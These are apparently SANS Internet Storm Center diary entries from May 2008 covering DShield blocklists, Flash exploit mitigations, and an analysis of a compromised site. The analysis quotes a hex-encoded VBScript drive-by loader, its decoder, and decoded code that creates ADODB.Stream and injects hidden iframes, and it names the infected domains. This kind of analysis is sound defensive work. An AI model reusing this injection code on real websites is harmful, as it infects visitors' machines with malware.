Last Updated: 2008-05-28 23:58:44 UTC
by Jim Clausing (Version: 1)
With all the talk of SQL injections and XSS and such, and all of these malicious SWFs, I was conversing with one of our readers, Steve, today and figured I'd ask the rest of you for some advice. Steve has a script that he uses to monitor his website for malicious content, but I was wondering, beyond the obvious of using Tripwire, AIDE, Samhain, Osiris, etc., what do you use to monitor your own websites? Let us know via the contact page, and we'll summarize the results this weekend.
Last Updated: 2008-05-28 21:04:35 UTC
by Johannes Ullrich (Version: 1)
DShield currently only publishes one blocklist: http://www.dshield.org/block.txt . It removes some of the obvious false positives. Of course, like with any block list, you should still use it at your own risk.
In addition, we are publishing the "Highly Predictive Blocklists" (http://www.dshield.org/hpbinfo.html). These blocklists are currently experimental, and a new version of the software should actually be release shortly.
Finally, there are a number of other "lists". For example, the following list is quite popular:
Note the big disclaimer at the top of this list:
# DO NOT USE AS BLOCKLIST
This list contains the top IPs, without any consideration to false positives.
Why don't we filter false positives?
Well, if it would be easy, we would do it. But first of all, DShield is a research tool. It has to provide consistent and complete data. In a particular case that came up today, a site was under DDoS attack. Our sensors picked up back scatter traffic and reported it to us. As a result, the site ended up in 'ipsascii.html'. I rather keep this type of activity in my database. Measuring backscatter is one thing we can do with our data. Another common false positive is P2P afterglow. But in case there is active scanning for P2P networks, we need to know what this afterglow looks like in order to substract it.
So again! stick to the recommended block lists. If you find an IP in our blocklist that shouldn't be there, let us know and we will remove it ASAP. But any raw data associated with the IP address will remain in our database. Finding an IP address in our database doesn't mean automatically that they are an "attacker" or "evil". To figure out what is happening, we need to look at the data in more detail.
Last Updated: 2008-05-28 17:16:57 UTC
by Adrien de Beaupre (Version: 1)
Jerry wrote in to tell us of a new variant on the theme of SWF files
being found in the wild. This ones uses encoded VBScript to deliver.
A google search for www.chliyi.com gives us over 5,000 hits! The likely
method of getting the malcious scripts on these web servers is SQL
injection, check your code regularly.
So, let's take a look at this one:
Downloading hxxp://www.chliyi.com/img/info.htm gives us the following:
Song = "3C536372697074204C616E67756167653D56425363726970743E0D0A094F6E204
Function Hex2Str(ByVal Ans):For i = 1 To Len(Ans)
Step 2:If IsNumeric(Mid(Ans, i, 1)) Then:tmpStr = tmpStr &
Chr("&H" & Mid(Ans, i, 2)):Else:tmpStr = tmpStr & Chr("&H" &
Mid(Ans, i, 4)):i = i + 2: End If: Next: Hex2Str = tmpStr: End Function
This decodes using hex to string:
On Error Resume Next
Set Ob = Document.CreateElement("object")
Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set Pop = Ob.Createobject("Adodb.Stream","")
If Not Err.Number = 0 then
Document.write ("<embed src=\"flash.swf\"></embed>")
Document.write ("<iFrame sRc=real.htm width=0 height=0></ifrAmE>
Document.write ("<iFrame sRc=new.htm width=0 height=0></ifrAmE>"
Document.write ("<iFrame sRc=help.htm width=0 height=0></ifrAmE>
Lets get hxxp://www.chliyi.com/img/flash.swf
Which gives us:
flash.swf: Macromedia Flash data, version 9
[HEADER] File version: 9
[HEADER] File size: 858
[HEADER] Frame rate: 12.000000
[HEADER] Frame count: 771
[HEADER] Movie width: 550.00
[HEADER] Movie height: 400.00
 4 FILEATTRIBUTES
 336 DEFINEBITS defines id 0682
==== Error: Unknown tag:0x056 ====
 40 (null)
 3 SETBACKGROUNDCOLOR (ff/ff/ff)
==== Error: Unknown tag:0x056 ====
 12 (null)
==== Error: Unknown tag:0x052 ====
 383 (null)
==== Error: Unknown tag:0x04c ====
[04c] 25 (null)
 0 SHOWFRAME 1 (00:00:00,000)
 0 END
Which looks familiar to us now.
real.htm, new.htm, help.htm are also quite interesting.
strings flash.swf shows us another possible malware location:
I munged the name of the file to pass language filters.
When I checked jj120.com resolved to 188.8.131.52 and didn't
want to give me the file.
Thanks again Bojan and Jeremy!
Adrien de Beaupré
Bell Canada, Professional Services
Last Updated: 2008-05-28 16:57:38 UTC
by Jim Clausing (Version: 2)
We've received quite a bit of mail about our stories yesterday about the malicious SWF files attempting to exploit older versions of the Adobe Flash player. So, here are a few of the things that have come out of our discussions.
- Our friends over at shadowserver.org (thanx, Steven) have a nice writeup that includes a bunch of domains they've noted that have the malicious SWF files.
- If you aren't sure which version of the flash player you are using, Adobe provides this page where you can check for yourself.
- On closer examination, this does not appear to be a "0-day exploit". Symantec has updated their threatcon info, as well. We have yet to see one of these that succeeds against the current version (184.108.40.206), if you find one that does, please let us know via the contact page.
- It appears that this exploit may be included in the Chinese version of the MPack exploit toolkit (among others).
- In case we weren't clear about it earlier, it appears that the infected web sites check which browser you are using in addition to the flash player version to determine which exploit to deliver.
There are several ways to protect yourself even if you have a vulnerable version of the Flash player.
- In Firefox, you can use either of the following add-ons, NoScript (one of our favorites, found here or here) or FlashBlock (here or here).
- In IE, see here for how to set the "killbit", the CLSID is BD96C556-65A3-11D0-983A-00C04FC29E36.
Update: (2008-05-28-16:54UTC) I was remiss in not mentioning Dancho Danchev's writeup.
Last Updated: 2008-05-28 14:32:26 UTC
by Joel Esler (Version: 1)
Just a quick note to let everyone know that we put out Podcast Episode 5 this morning. We had a special guest with us! Larry Pesce of PaulDotCom Security Weekly! The guys over at PaulDotCom do a great job, and we loved having Larry on the show! Congradulations to Paul, as he is home with a new baby!
Don't forget the Live Podcast that we are doing at SANSFIRE on July 23rd at 8pm.
iTunes users, go here to subscribe.
Non-iTunes users, go here to download.